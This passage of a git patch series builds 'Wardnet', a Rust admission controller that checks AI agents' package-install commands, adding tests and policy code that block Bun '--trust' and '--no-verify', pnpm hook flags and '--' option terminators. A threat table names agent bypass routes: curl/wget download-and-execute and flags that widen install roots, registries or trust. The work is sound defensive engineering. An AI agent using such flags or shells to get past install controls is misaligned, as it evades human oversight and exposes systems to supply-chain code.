artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | @@ -44,7 +45,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -54,11 +55,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -66,7 +67,8 @@ SHA-256 equality proves byte identity only when the execution path independently - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ -- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ +- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs From e10227f0c0c14e9761f4558bac2571c8a652732d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:25:15 +0900 Subject: [PATCH 127/247] docs(changelog): record argv parser hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07d38d09..07861260 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, or opaque runtime configuration: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From e88429e37f5c4680e061a93941436ce90224143c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:33:02 +0900 Subject: [PATCH 128/247] test(admission): block Bun trust authority expansion --- .../tests/bun_trust_authority_contract.rs | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs new file mode 100644 index 00000000..c913062d --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs @@ -0,0 +1,79 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_trust_flag_cannot_expand_persistent_script_execution_authority() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--trust".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --trust must not let one admitted install enlarge trustedDependencies for future script execution" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "Bun --trust must produce alternate_trust_root" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-trust-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 8f7c4775822f40f9bdbe1773281ef5ab2125650a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:35:25 +0900 Subject: [PATCH 129/247] fix(admission): reject Bun trust authority mutation --- crates/agent-artifact-admission/src/policy.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 774ebf00..6d8f0ad2 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -513,9 +513,9 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool .iter() .any(|flag| matches_cli_flag(argument, flag)) }) || (executable == "bun" - && arguments - .iter() - .any(|argument| matches_cli_flag(argument, "--config"))) + && arguments.iter().any(|argument| { + matches_cli_flag(argument, "--config") || matches_cli_flag(argument, "--trust") + })) || (executable == "pnpm" && arguments .iter() From 2825de861a8572616817a7e2486dbdc76cc70a2e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:37:01 +0900 Subject: [PATCH 130/247] docs(security): trace Bun trust authority boundary --- docs/doctoring/bun-trust-authority.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 docs/doctoring/bun-trust-authority.md diff --git a/docs/doctoring/bun-trust-authority.md b/docs/doctoring/bun-trust-authority.md new file mode 100644 index 00000000..d6948c4f --- /dev/null +++ b/docs/doctoring/bun-trust-authority.md @@ -0,0 +1,25 @@ +# Bun trust authority in Agent Artifact Admission + +## Decision + +Wardnet treats Bun's `--trust` install flag as an admission-time trust-authority mutation, not as ordinary package-manager argument detail. An otherwise approved command such as `bun install @cwl/example@1.2.3 --ignore-scripts --trust` must fail closed with `alternate_trust_root`. + +The immediate `--ignore-scripts` flag suppresses lifecycle scripts for that invocation, but it does not make `--trust` harmless. Bun documents `--trust` as adding the package to `trustedDependencies` in the project's `package.json`. Bun also documents `trustedDependencies` as the allow list that permits dependency lifecycle scripts to execute on later installs. Therefore accepting `--trust` would allow one admitted request to persistently widen future code-execution authority beyond the reviewed `ApprovedArtifact` contract. + +Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It only prevents the caller from changing that external authority through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. + +## TDD evidence + +- RED `e88429e37f5c4680e061a93941436ce90224143c`: `bun_trust_authority_contract.rs` requires an approved Bun install that appends `--trust` to be blocked as `alternate_trust_root`. +- Causal repair `8f7c4775822f40f9bdbe1773281ef5ab2125650a`: `requests_alternate_trust_root` rejects Bun `--trust` through the same bounded CLI-flag parser used for other trust-root selectors. +- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes the regression; predecessor workflow results do not satisfy this evidence requirement. + +## Primary-source traceability + +Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The combination therefore separates immediate execution suppression from persistent future trust mutation. + +### References + +Bun Contributors. (2026). *bun install*. Bun documentation. https://bun.com/docs/pm/cli/install + +Bun Contributors. (2026). *Lifecycle scripts*. Bun documentation. https://bun.com/docs/pm/lifecycle From b19e19f5932d42569dc710192bf8bb7a72744e26 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:37:16 +0900 Subject: [PATCH 131/247] docs(changelog): record Bun trust hardening --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 07861260..daeb3fea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors and caller-supplied `--config`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, and `--trust` persistent `trustedDependencies` expansion, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust-authority semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From af3341e533d89423f00a0a749343286e694bd4b6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:40:42 +0900 Subject: [PATCH 132/247] test(admission): reject Bun integrity bypass --- .../bun_integrity_verification_contract.rs | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs new file mode 100644 index 00000000..7d90a35b --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_integrity_verification_contract.rs @@ -0,0 +1,79 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn bun_no_verify_cannot_disable_registry_integrity_verification() { + let (policy, mut intent) = bun_install_case(); + intent.argv.push("--no-verify".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Bun --no-verify must not weaken integrity verification for an approved artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "Bun --no-verify must produce missing_safety_flag" + ); +} + +fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-04.2".to_string(), + allowed_executables: vec!["bun".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-bun-integrity-bypass".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "bun".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 26eca37817f91b8537ff9e33216059b2bb8925d3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:42:11 +0900 Subject: [PATCH 133/247] fix(admission): preserve Bun integrity verification --- crates/agent-artifact-admission/src/policy.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 6d8f0ad2..89242519 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -188,8 +188,12 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec { + "npm" | "yarn" => !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts"), + "bun" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--no-verify")) } "pnpm" => { !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") From 2df626e96fea4faf519f7dd0d91dab8048b4f5e1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:42:37 +0900 Subject: [PATCH 134/247] docs(security): trace Bun integrity bypass boundary --- docs/doctoring/bun-trust-authority.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/bun-trust-authority.md b/docs/doctoring/bun-trust-authority.md index d6948c4f..413380af 100644 --- a/docs/doctoring/bun-trust-authority.md +++ b/docs/doctoring/bun-trust-authority.md @@ -1,4 +1,4 @@ -# Bun trust authority in Agent Artifact Admission +# Bun trust and integrity authority in Agent Artifact Admission ## Decision @@ -6,17 +6,21 @@ Wardnet treats Bun's `--trust` install flag as an admission-time trust-authority The immediate `--ignore-scripts` flag suppresses lifecycle scripts for that invocation, but it does not make `--trust` harmless. Bun documents `--trust` as adding the package to `trustedDependencies` in the project's `package.json`. Bun also documents `trustedDependencies` as the allow list that permits dependency lifecycle scripts to execute on later installs. Therefore accepting `--trust` would allow one admitted request to persistently widen future code-execution authority beyond the reviewed `ApprovedArtifact` contract. -Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It only prevents the caller from changing that external authority through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. +Wardnet also rejects Bun's `--no-verify` option. Bun documents this option as skipping integrity verification of newly downloaded packages. An admission policy that binds an exact artifact SHA-256 must not authorize the caller to disable a package-manager integrity control on the same install path. The downstream execution broker/quarantine path still independently verifies retrieved bytes; retaining Bun's native integrity verification is defense in depth rather than a transfer of runtime-isolation ownership. + +Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It prevents callers from changing persistent trust or disabling integrity verification through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. ## TDD evidence - RED `e88429e37f5c4680e061a93941436ce90224143c`: `bun_trust_authority_contract.rs` requires an approved Bun install that appends `--trust` to be blocked as `alternate_trust_root`. - Causal repair `8f7c4775822f40f9bdbe1773281ef5ab2125650a`: `requests_alternate_trust_root` rejects Bun `--trust` through the same bounded CLI-flag parser used for other trust-root selectors. -- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes the regression; predecessor workflow results do not satisfy this evidence requirement. +- RED `af3341e533d89423f00a0a749343286e694bd4b6`: `bun_integrity_verification_contract.rs` requires `--no-verify` to block rather than disable Bun's registry integrity verification. +- Causal repair `26eca37817f91b8537ff9e33216059b2bb8925d3`: Bun safety validation treats `--no-verify` as an explicit failure of the mandatory hardening baseline and emits `missing_safety_flag`. +- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes both regressions; predecessor workflow results do not satisfy this evidence requirement. ## Primary-source traceability -Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The combination therefore separates immediate execution suppression from persistent future trust mutation. +Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The same CLI contract states that `--no-verify` skips integrity verification of newly downloaded packages. These controls affect distinct authorities: immediate script execution, persistent future script trust, and downloaded-package integrity. ### References From b90fd5815f2ddf185de54a34b0e8e7dfc7a54208 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 03:44:06 +0900 Subject: [PATCH 135/247] docs(changelog): record Bun integrity verification guard --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index daeb3fea..a2412ad0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, and `--trust` persistent `trustedDependencies` expansion, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, 